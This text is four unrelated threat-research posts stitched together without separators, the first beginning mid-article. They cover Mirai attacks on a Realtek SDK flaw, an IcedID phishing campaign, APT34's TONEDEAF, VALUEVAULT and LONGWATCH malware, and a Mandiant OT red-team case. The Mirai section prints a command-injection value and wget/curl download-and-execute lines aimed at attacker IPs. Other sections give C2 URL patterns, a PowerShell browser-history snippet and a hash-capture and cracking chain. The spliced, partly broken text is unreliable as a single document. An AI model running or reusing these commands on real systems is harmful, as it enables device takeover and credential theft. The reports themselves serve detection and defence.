For example, given an HTTP POST request containing “peerPin=12345;malicious_command”, the device will first execute the iwpriv command as expected, but will then also execute malicious_command .
In one set of observed attacks, starting on August 24 th , the attackers sent POST requests similar to the following: Figure 1.
Malicious POST request exploiting CVE-2021-35395.
The injected command is: wget hxxp://37[.
]0.11.132/
rh -O - | sh which downloads and executes a script named ‘rh’: Figure 2.
Malicious script downloaded by the injected command.
This script is nearly identical to the one featured in last week’s post.
The only change is that the parameter passed to the downloaded binary is “exploit.realtek.http” instead of “exploit.realtek”.
When the botnet agent starts up, it opens a listening port on port 44842, and then opens a TCP connection to babaroga[.
]lib (188[.
]166.196.89, resolved specifically by DNS server 185[.
]121.177.177) on port 53 and registers the compromised computer with the botnet, including an identifier — in this case, “exploit.realtek.http” — to indicate which attack was successful.
We observed another set of attacks, first noted by SAM Seamless Network , that also used the same proof-of-concept exploit from the initial disclosure but with a different payload: Figure 3.
Another example of a POST request exploiting CVE-2021-35395.
The injected commands in the peerPin parameter attempt to download a malicious script called lolol.sh using either wget or curl and then execute it:
cd /tmp;\r\nwget hxxp://212[.
]192.241.87/lolol.sh;\r\ncurl -O hxxp://212[.
]192.241.87/lolol.sh;\r\nchmod 777 lolol.sh;\r\nsh lolol.sh; The lolol.sh script starts by deleting logs and killing a large number of named processes and services, then specifically finding and killing processes using a significant amount of CPU time: Figure 4.
lolol.sh terminating other processes on the target device.
The script then tries to download a set of malicious binaries, one for each common CPU architecture.
As before, the final payload is Mirai botnet malware.
Each binary is renamed to nginx (a common web server and load balancer) before the script attempts to run it.
Only the binary matching the target device architecture will successfully execute, and that process will immediately rename itself to avoid being terminated the next time lolol.sh runs.
(Line 60 appears to be an error in the script.)
Figure 5.
lolol.sh attempting to download and execute Mirai binaries.
To ensure persistence, the script downloads the latest version of lolol.sh and sets it to run every 10 minutes as a cron job.
Figure 6.
lolol.sh installing itself as a cron job.
Finally, the script adds firewall rules to prevent the device from being reinfected, blocking inbound connectivity to the ports to which the vulnerable server is known to bind.
Figure 7.
lolol.sh blocking reinfection via the Linux firewall.
Detection The malicious POST requests exploiting CVE-2021-35395 are detected by Juniper’s NGFW SRX series with IDP signature APP:MISC:REALTEK-JUNGLE-SDK-CI .
The binaries and servers used in these attacks are blocked by Juniper Advanced Threat Prevention Cloud.
Figure 8.
Detection of malicious binaries by Juniper ATP Cloud.
IOCs 26a79029381745c4a9fce656f49d84ca058c132cc228316b359a36f6a505b057
dark.86_64\r\n0473ad0259470808a1647ab093f735d8ba2e2b38161c6cc01018505079f850db  dark.arm5\r\n1a4077a5babf5eb892e573334a260d7457871ff608ee5755bee706acf14c2148
dark.arm6\r\nc481c8ae614abb2c7bf0ffd8094dabb6edc22c9146854ce1ee937ff6f9b3caf4  dark.arm7\r\nd7c66e79fe334f528efb926f4eb9494ac915a83964d11c2d5bad5407e4b483fa  dark.m68k\r\n171b3c4c6bc55c1e267929962105bd77d62e647b4c7beb56d0a61c23a129d9f3
dark.mips\r\n3bd4a60d5614e77b2f0c08d27f184d698097c84368e377a4c5376f99a735dcf0  dark.mpsl\r\nc1064e2b8be2015d06d11492d25931e8739028bdb89c8f0510b04278aa1b944b
dark.ppc\r\nf76d017a46373a16338dc55d1468e126850fdea5800dcf7f9800b25dd43ad84b
dark.sh4\r\neb9e47d6c312374a4d00b96cc9b0df3fa5f62d5aad3c892a44c62e34e464f7a3  dark.x86\r\n9793ac5afd1be5ec55476d2c205260d1b7af6db7cc29a9dc0f7fbee68a177c78  lolol.sh\r\n0018e361be72a44b7b38bbecfede8d571418e56d4d62a8e186991bef322a0c16
b.arm5\r\n171961046ee6d18424cf466ad7e01096aecf48ed602d8725e6563ad8c61f1115  b.arm7\r\n924b6aec8aa5935e27673ee96d43dd0d1b60f044383b558e3f66cd4331f17ef4
b.mips\r\n98fc6b2cbd04362dc10a5445c00c23c2a2cb39d24d91beab3c200f87bfd889ab  b.mpsl\r\n9bdb7d4778261bb34df931b41d32ee9188d0c7a7e10d4d68d56f6faebd047fe4  b.sh4\r\n2b57648fe6a75b589517cac9c515e0e6739c4aa39bfe7b3e81e2460b60edecd4  rh\r\n\r\n37[.]0.11.132\r\n212[.]192.241.72\r\n212[.]192.241.87\r\n103[.]113.143.232\r\n103[.]142.18.38\r\n103[.]142.18.60\r\n103[.]242.224.152\r\n103[.]242.224.164\r\n103[.]242.224.179\r\n117[.]210.156.253\r\n122[.]169.57.70\r\n185[.]222.59.10\r\n31[.]210.20.100\r\nbabaroga[.
]lib (resolved by 185[.]121.177.177)\r\n188[.
]166.196.89
FortiGuard Labs Research Thanks to Val Saengphaibul and Fred Gutierrez who helped contribute to this blog.
Affected Platforms: Windows Impacted Users: Windows users Impact:
Compromised machines are under the control of the threat actor Severity Level: Medium Spearphishing crafted with industry-specific terms derived from intelligence gathering techniques to trick a recipient into opening a file is especially difficult to identify.
This is especially true when an adversary has knowledge of how a business works and the processes that underpin it.
Using this knowledge, a lure can be crafted that takes advantage of these day-to-day processes – for example, settling the cost of a fuel transaction.
FortiGuard Labs recently encountered such a scenario, where a fuel company in Kyiv, Ukraine received a spearphishing e-mail that contained an attached invoice—seemingly from another fuel provider—that was spoofed.
The attachment is a zip file that contains the IcedID Trojan.
IcedID has been observed as far back as 2017.
Its primary function is to steal banking credentials and personal information.
It is also capable of deploying additional malware from the same group or partner organizations.
This instance also uses an interesting deployment method.
It uses the ISO format, which is mounted automatically as a disk in Windows.
ISO files can also be used to create bootable CD-ROMs or install an operating system or virtual machine.
It also contains a LNK (shortcut file) used to launch a DLL (Dynamic-link Library).
This blog details the infection process and subsequent malware deployment by the threat actors behind IcedID.
The Phishing E-mail The e-mail originated from an IP address in Belize, at 179[.]60[.]150[.
]96.
It spoofs the originating e-mail address to appear to have been sent from another fuel provider in Ukraine.
The e-mail contains both English and Ukrainian elements and looks realistic given the mention of extra security measures regarding the attachment.
Attached to the e-mail is a file named “invoice_15.zip”.
Extracting the Zip file will drop “invoice_15.iso” and begin the first phase of infection.
ISO Windows is capable of mounting iso files as external disks.
Doing so will present the user with a shortcut called “document.”
In most cases, the file extension will be hidden from the user, making it appear as an actual document.
When the full contents of the iso container are revealed, a DLL file can also be seen.
LNK As seen in Figure 4, the shortcut file was created some time prior to the sending of the phishing e-mail.
Additionally, the highlighted area shows what will occur should the shortcut be clicked on by a user.
In this case, Regsvr32 is used to register “main.dll” with the Windows registry and launch the code contained within.
This action begins the next phase of infection.
Dropper “main.dll” acts as a dropper for IcedID.
Static analysis of the file reveals an interesting point.
What at appears at first glance to be an easy win for IOCs (Indicators of Compromise) because it contains a domain and IP address, turns out to be slightly more complicated.
In comparing the area of code where the strings in Figure 5 are stored, we find that this area is not called by any functions within “main.dll”.
To illustrate this, the right-hand side of the very first line in Figure 6 contains “Data XREF:”.
This indicates that it is referenced elsewhere in the code.
The strings from Figure 5, however, do not include this information, indicating they are not.
By investigating further, the story becomes even more interesting.
This code appears in a StackOverflow question from approximately 10 years ago concerning an issue about downloading an image over HTTP ( https://stackoverflow.com/questions/9389183/downloading-a-picture-with-http-get-only-downloads-a-small-part-of-it ).
It should be noted that there is no malicious intent with the content of that posting.
That it is now part of “main.dll” indicates it is a decoy for analysts in the hope the actual indicators won’t be blocked.
As can be seen in Figure 7, once running, the malware uses several Windows command-line tools to obtain information about the local environment.
These include capturing the local IP address (ipconfig), enumerating domain trusts (nltest), and capturing a list of domain administrators (net group), among others.
The sample then tries to communicate outbound to a command and control (C2) server.
There are multiple addresses the malware can connect to in the event one of the destinations becomes unavailable.
If a connection to a C2 server has been made, the malware then moves to ensure persistence.
It installs a copy of itself in the user’s temp directory, “%APPDATA%\\local\\temp”.
Conclusion Threat actors that are knowledgeable of their targets are able to increase their chances of installing an implant within an organization.
Based on our observations, the efforts used in this IcedID attack highlight the groups methodical effort, as evidenced by their research of Ukraine's retail fuel industry.
Additionally, the use of uncommon deployment methods (zipped ISO file) to establish a foothold—and ultimately gain persistence within an organization—reveals how crafty the threat actors are able to be to obtain unauthorized access.
Fortinet Protections
All IcedID samples mentioned in this blog are detected by the following (AV) signatures: W32/Kryptik.
HOTN!tr W64/Kryptik.
CXY!tr W64/Kryptik.
CXY!tr W64/Kryptik.
CXY!tr LNK/IceID.AW!tr W64/Kryptik.
CXY!tr All network based URI’s are blocked by the WebFiltering client.
Fortinet has multiple solutions designed to help train users to understand and detect phishing threats: The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks.
In addition to these protections, we suggest that organizations also have their end users go through our FREE NSE training : NSE 1 – Information Security Awareness .
It includes a module on Internet threats that is designed to help end users learn how to identify and protect themselves from various types of phishing attacks.
IOCs Filename SHA256 invoice_15.zip 83bd20009107e1f60479016046b80d473436d3883ad6989e5d42bc08e142b5bb invoice_15.iso 3542d5179100a7644e0a747139d775dbc8d914245292209bc9038ad2413b3213 document.lnk a17e32b43f96c8db69c979865a8732f3784c7c42714197091866473bcfac8250 main.dll 698a0348c4bb8fffc806a1f915592b20193229568647807e88a39d2ab81cb4c2 Arur.exe 283d5eea1f9fc34e351deacc25006fc1997566932fae44db4597c84f1f1f3a30 Network IOCs: 160[.]153[.]32[.
]99 160[.]90[.]198[.
]40 yourgroceries[.
]top ssddds1ssd2[.
]com ip-160-153-32-99[.]ip[.]secureserver[.
]net
Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Background With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns.
Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals.
The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.
FireEye Identifies Phishing Campaign
In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor.
Three key attributes caught our eye with this particular campaign: Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents, The usage of LinkedIn to deliver malicious documents, The addition of three new malware families to APT34’s arsenal.
FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks.
Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34.
The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.
APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014.
They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs.
APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers.
This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.
Additional research on APT34 can be found in this FireEye blog post , this CERT-OPMD post , and this Cisco post .
Mandiant Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.”
This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post .
Industries Targeted The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries: Energy and Utilities Government Oil and Gas Utilizing Cambridge University to Establish Trust On June 19, 2019, Mandiant Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances.
The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine.
ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms.
Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.
The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b) , located in C:\\Users\\<user_name>\\.templates .
The file System.doc is a Windows Portable Executable (PE), despite having a \"doc\" file extension.
FireEye identified this new malware family as TONEDEAF.
A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution.
When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution.
We explore additional technical details of TONEDEAF in the malware appendix of this post.
Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls .
Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.
]com/Documents/ERFT-Details.xls .
Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.
Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message.
The targeted employee conversed with \"Rebecca Watts\", allegedly employed as \"Research Staff at University of Cambridge\".
The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.
Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF
This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns.
These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.
FireEye examined the original file ERFT-Details.xls , which was observed with at least two unique MD5 file hashes: 96feed478c347d4b95a8224de26a1b2c caf418cbf6a9c4e93e79d4714d5d3b87 A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.
Figure 2:
Screenshot of VBA code from System.doc The spreadsheet also creates a scheduled task named \"windows update check\" that runs the file C:\\Users\\<user_name>\\.templates\\System Manager.exe every minute.
Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe .
Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.
Figure 3:
Additional VBA code from System.doc Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.
]com over port 80.
The FireEye Footprint: Pivots and Victim Identification After identifying the usage of offlineearthquake[.
]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility.
FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations.
Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH.
We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.
Requests to the domain offlineearthquake[.
]com could take multiple forms, depending on the malware’s stage of installation and purpose.
Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”.
This value is used in subsequent requests, likely to track infected target activity.
URLs were observed with the following structures: hxxp[://]offlineearthquake[.
]com/download?id=<sys_id>&n=000 hxxp[://]offlineearthquake[.
]com/upload?id=<sys_id>&n=000 hxxp[://]offlineearthquake[.
]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000 hxxp[://]offlineearthquake[.
]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000
The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a) , identified by FireEye as LONGWATCH.
LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder.
Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.
FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).
GET
hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.
]com Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1 Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.
VALUEVAULT is a Golang compiled version of the \"Windows Vault Password Dumper\" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.
VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault.
Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites.
Further information regarding VALUEVAULT can be found in the appendix below.
Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e) .
These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file.
This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.
Conclusion The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations.
Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted.
Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.
We suspect this will not be the last time APT34 brings new tools to the table.
Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired.
For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.
Learn more about Mandiant Managed Defense , and catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.
Malware Appendix TONEDEAF TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS.
Supported commands include system information collection, file upload, file download, and arbitrary shell command execution.
Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.
]com, it was not configured to use this functionality.
Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil.
The creator likely made this as a means for future DNS exfiltration as a plan B.
Figure 5: Snippet of code from TONEDEAF binary
Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly.
One such bug involves determining the length of a command response string without accounting for Unicode strings.
As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output.
Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.
]154.
VALUEVAULT VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.
VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault.
Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites.
A snippet of this function is shown in Figure 6.
powershell.exe /c \"function get-iehistory {.
[CmdletBinding()].
param ().
.
$shell =
New-Object -ComObject Shell.
Application.
$hist = $shell.
NameSpace(34).
$folder = $hist.
Self.
.
$hist.
Items() | .
foreach {.
if ($_.IsFolder) {.
$siteFolder = $_.GetFolder.
$siteFolder.
Items() | .
foreach {.
$site = $_.
.
if ($site.
IsFolder) {.
$pageFolder = $site.
GetFolder.
$pageFolder.
Items() | .
foreach {.
$visit = New-Object -TypeName PSObject -Property @{ .
URL = $($pageFolder.
GetDetailsOf($_,0)) .
}.
$visit.
}.
}.
}.
}.
}.
}.
get-iehistory Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\\Roaming directory under the context of the user account it was executed by.
This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format.
This functionality is not in the original version of the “Windows Vault Password Dumper”.
Figure 7 shows the SQL format of the fsociety.dat file.
Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database VALUEVAULT’s function names are not obfuscated and are directly reviewable in strings analysis.
Other developer environment variables were directly available within the binary as shown below.
VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/new_edge.go C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/mozila.go C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/main.go C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/ie.go C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go Figure 8: Golang files extracted during execution of VALUEVAULT LONGWATCH FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.
]com .
FireEye identifies this malware as LONGWATCH.
The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.
Interesting strings identified in the binary are shown in Figure 9.
GetAsyncKeyState >---------------------------------------------------\\n\\n c:\\\\windows\\\\temp\\\\log.txt [ENTER] [CapsLock] [CRTL] [PAGE_UP] [PAGE_DOWN] [HOME]
[LEFT]
[RIGHT] [DOWN]
[PRINT] [PRINT SCREEN] (1 space) [INSERT] [SLEEP] [PAUSE] \\n---------------CLIPBOARD------------\\n \\n\\n >>>  (2 spaces) c:\\\\windows\\\\temp\\\\log.txt Figure 9: Strings identified in a LONGWATCH binary Detecting the Techniques FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH.
Table 2 contains several specific detection names that provide an indication of APT34 activity.
Signature Name FE_APT_Keylogger_Win_LONGWATCH_1 FE_APT_Keylogger_Win_LONGWATCH_2 FE_APT_Keylogger_Win32_LONGWATCH_1 FE_APT_HackTool_Win_PICKPOCKET_1
FE_APT_Trojan_Win32_VALUEVAULT_1
FE_APT_Backdoor_Win32_TONEDEAF TONEDEAF BACKDOOR
[DNS] TONEDEAF BACKDOOR [upload] TONEDEAF BACKDOOR
[URI] Table 1: FireEye Platform Detections Endpoint Indicators Indicator MD5 Hash (if applicable)
Code Family System.doc b338baa673ac007d7af54075ea69660b TONEDEAF 50fb09d53c856dcd0782e1470eaeae35
TONEDEAF ERFT-Details.xls 96feed478c347d4b95a8224de26a1b2c TONEDEAF DROPPER caf418cbf6a9c4e93e79d4714d5d3b87 TONEDEAF DROPPER b.exe
9fff498b78d9498b33e08b892148135f VALUEVAULT WindowsNTProgram.exe 021a0f57fe09116a43c27e5133a57a0a LONGWATCH PE86.dll d8abe843db508048b4d4db748f92a103 PICKPOCKET PE64.dll
6eca9c2b7cf12c247032aae28419319e PICKPOCKET Table 2:
APT34 Endpoint Indicators from this blog post Network Indicators hxxp[://]www[.]cam-research-ac[.
]com offlineearthquake[.
]com c[.]cdn-edge-akamai[.
]com 185[.]15[.]247[.
]154 Acknowledgements A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign.
Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.
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Operational technology (OT) asset owners have historically considered red teaming of OT and industrial control system (ICS) networks to be too risky due to the potential for disruptions or adverse impact to production systems.
While this mindset has remained largely unchanged for years, Mandiant's experience in the field suggests that these perspectives are changing; we are increasingly delivering value to customers by safely red teaming their OT production networks.
This increasing willingness to red team OT is likely driven by a couple of factors, including the growing number and visibility of threats to OT systems, the increasing adoption of IT hardware and software into OT networks, and the maturing of OT security teams.
In this context, we deemed it relevant to share some details on Mandiant's approach to red teaming in OT based on years of experience supporting customers learning about tangible threats in their production environments.
In this post we introduce Mandiant's approach to OT red teaming and walk through a case study.
During that engagement, it took Mandiant only six hours to gain administrative control on the target's OLE for Process Control (OPC) servers and clients in the target's Distributed Control System (DCS) environment.
We then used this access to collect information and develop an attack scenario simulating the path a threat actor could take to prepare for and attack the physical process (We highlight that the red team did not rely on weaknesses of the DCS, but instead weak password implementations in the target environment).
NOTE:
Red teaming in OT production systems requires planning, preparation and \"across the aisle\" collaboration.
The red team must have deep knowledge of industrial process control and the equipment, software, and systems used to achieve it.
The red team and the asset owner must establish acceptable thresholds before performing any activities.
Visit our website for more information or to request Mandiant services or threat intelligence .
Mandiant's Approach for Safe Red Teaming in OT Mandiant's approach to red teaming OT production systems consists of two phases: active testing on IT and/or OT intermediary systems, and custom attack modeling to develop one or more realistic attack scenarios.
Our approach is designed to mirror the OT-targeted attack lifecycle—with active testing during initial stages (Initial Compromise, Establish Foothold, Escalate Privileges, and Internal Reconnaissance), and a combination of active/passive data collection and custom threat modeling to design feasible paths an attacker would follow to complete the mission.
Figure 1:
Mandiant OT red teaming approach Mandiant's OT red teaming may begin either from the perspective of an external attacker leveraging IT compromises to pivot into the OT network, or from the perspective of an actor who has already gained access into the OT network and is ready to escalate the intrusion.
We then leverage a range of commodity tools and utilities that are widely available in most target environments to pivot across OT intermediary systems and gain privileged access to target ICS.
Throughout this process, we maintain constant communication with the customer to establish safety thresholds.
Active participation from the defenders will also enable the organization to learn about the techniques we use to extract information and the weaknesses we exploit to move across the target network.
Once the active testing stops at the agreed safety threshold, we compile this information and perform additional research on the system and processes to develop realistic and target-specific attack scenarios based on our expertise of threat actor behaviors.
Mandiant's OT red teaming can be scoped in different ways depending on the target environment, the organization's goals, and the asset owner's cyber security program maturity.
For example, some organizations may test the full network architecture, while others prefer to sample only an attack on a single system or process.
This type of sampling is useful for organizations that own a large number of processes and are unlikely to test them one by one, but instead they can learn from a single-use case that reflects target-specific weaknesses and vulnerabilities.
Depending on the scope, the red teaming results can be tailored to: Model attack scenarios based on target-specific vulnerabilities and determine the scope and consequences if a threat actor were to exploit them in their environment.
Model attack paths across the early stages of reconnaissance and lateral movement to identify low-hanging fruit that adversaries may exploit to enable further compromise of OT.
Operationalize threat intelligence to model scenarios based on tactics, techniques, and procedures (TTPs) from known actors, such as advanced persistent threats (APTs).
Test specific processes or systems deemed at high risk of causing a disruption to safety or operations.
This analysis highlights gaps or weaknesses to determine methods needed to secure high-risk system(s).
Red Teaming in OT Provides Unique Value to Defenders Red teaming in OT can be uniquely helpful for defenders, as it generates value in a way very specific to an organizations' needs, while decreasing the gap between the \"no holds barred\" world of real attackers and the \"safety first\" responsibility of the red team.
While it is common for traditional red teaming engagements to end shortly after the attacker pivots into a production OT segment, a hybrid approach, such as the one we use, makes it possible for defenders to gain visibility into the specific strengths and weaknesses of their OT networks and security implementations.
Here are some other benefits of red teaming in OT production networks: It helps defenders understand and foresee possible paths that sophisticated actors may follow to reach specific goals.
While cyber threat intelligence is another great way to build this knowledge, red teaming allows for additional acquisition of site-specific data.
It responds to the needs of defenders to account for varying technologies and architectures present in OT networks across different industries and processes.
As a result, it accounts for outliers that are often not covered by general security best practices guidance.
It results in tangible and realistic outputs based on our active testing showing what can really happen in the target network.
Mandiant's OT red teaming results often show that common security testing tools are sufficient for actors to reach critical process networks.
It results in conceptual attack scenarios based on real attacker behaviors and specific knowledge about the target.
While the scenarios may sometimes highlight weaknesses or vulnerabilities that cannot be patched, these provide defenders with the knowledge needed to define alternative mitigations to mitigate risks earlier in the lifecycle.
It can help to identify real weaknesses that could be exploited by an actor at different stages of the attack lifecycle.
With this knowledge, defenders can define ways to stop threat activity before it reaches critical production systems, or at least during early phases of the intrusion.
Applying Our Approach in the Real World: Big Steam Works During this engagement, we were tasked with gaining access to critical control systems and designing a destructive attack in an environment where industrial steaming boilers are operated with an Distributed Control System (DCS).
In this description, we redacted customer information—including the name, which we refer to as \"Big Steam Works\"—and altered sensitive details.
However, the overall attack techniques remain unchanged.
The main objective of Big Steam Works is to deliver steam to a nearby chemical production company.
For the scope of this red team, the customer wanted to focus entirely on its OT production network.
We did not perform any tests in IT networks and instead begun the engagement with initial access granted in the form of a static IP address in Big Steam Work's OT network.
The goal of the engagement was to deliver consequence-driven analysis exploring a scenario that could cause a significant physical impact to both safety and operations.
Following our red teaming approach, the engagement was divided in two phases: active testing across IT and/or OT intermediary systems, and custom attack modeling to foresee paths an attacker may follow to complete its mission.
We note that during the active testing phase we were very careful to maintain high safety standards.
This required not only highly skilled personnel with knowledge about both IT and OT, but also constant engagement with the customer.
Members from Big Steam Works helped us to set safety thresholds to stop and evaluate results before moving forward, and actively monitored the test to observe, learn, and remain vigilant for any unintended changes in the process.
Phase 1 – Active Testing During this phase, we leveraged publicly accessible offensive security tools (including Wireshark, Responder, Hashcat, and CrackMapExec) to collect information, escalate privileges, and move across the OT network.
In close to six hours, we achieved administrative control on several Big Steam Works' OLE for Process Control (OPC) servers and clients in their DCS environment.
We highlight that the test did not rely on weaknesses of the DCS, but instead weak password implementations in the target environment.
Figure 2 details our attack path: Figure 2:
Active testing in Big Steam Work's OT network We collected network traffic using Wireshark to map network communications and identify protocols we could use for credential harvesting, lateral movement, and privilege escalation.
Passive analysis of the capture showed Dynamic Host Configuration Protocol (DHCP) broadcasts for IPv6 addresses, Link-Local Multicast Name Resolution (LLMNR) protocol traffic, and NetBios Name Service (NBT-NS) traffic.
We responded to broadcast LLMNR, NBT-NS, and WPAD name resolution requests from devices using a publicly available tool called Responder.
As we supplied our IP address in response to broadcasted name resolution requests from other clients on the subnet, we performed man-in-the-middle (MiTM) attacks and obtained NTLMv1/2 authentication protocol password hashes from devices on the network.
We then used Hashcat to crack the hashed credentials and use them for further lateral movement and compromise.
The credentials we obtained included, but were not limited to, service accounts with local administrator rights on OPC servers and clients.
We note that Hashcat cracked the captured credentials in only six seconds due to the lack of password strength and complexity.
With the credentials captured in the first three steps, we accessed other hosts on the network using CrackMapExec.
We dumped additional cached usernames, passwords, and password hashes belonging to both local and domain accounts from these hosts.
This resulted in privileged access and control over the DCS's OPC clients and servers in the network.
While we did not continue to execute any further attack, the level of access gained at this point enabled us to perform further reconnaissance and data collection to design and conceptualize the last steps of a targeted attack on the industrial steaming boilers.
The TTPs we used during the active testing phase resemble some of the simplest resources that can be used by threat actors during real OT intrusions.
The case results are concerning given that they illustrate only a few of the most common weaknesses we often observe across Mandiant OT red team engagements.
We highlight that all the tools used for this intrusion are known and publicly available.
An attacker with access to Big Steam Works could have used these methods as they represent low-hanging fruit and can often be prevented with simple security mitigations.
Phase 2 – Custom Attack Modeling For roughly a week, Mandiant gathered additional information from client documentation and research on industrial steaming boilers.
We then mirrored the process an attacker would follow to design a destructive attack on the target process given the results achieved during phase 1.
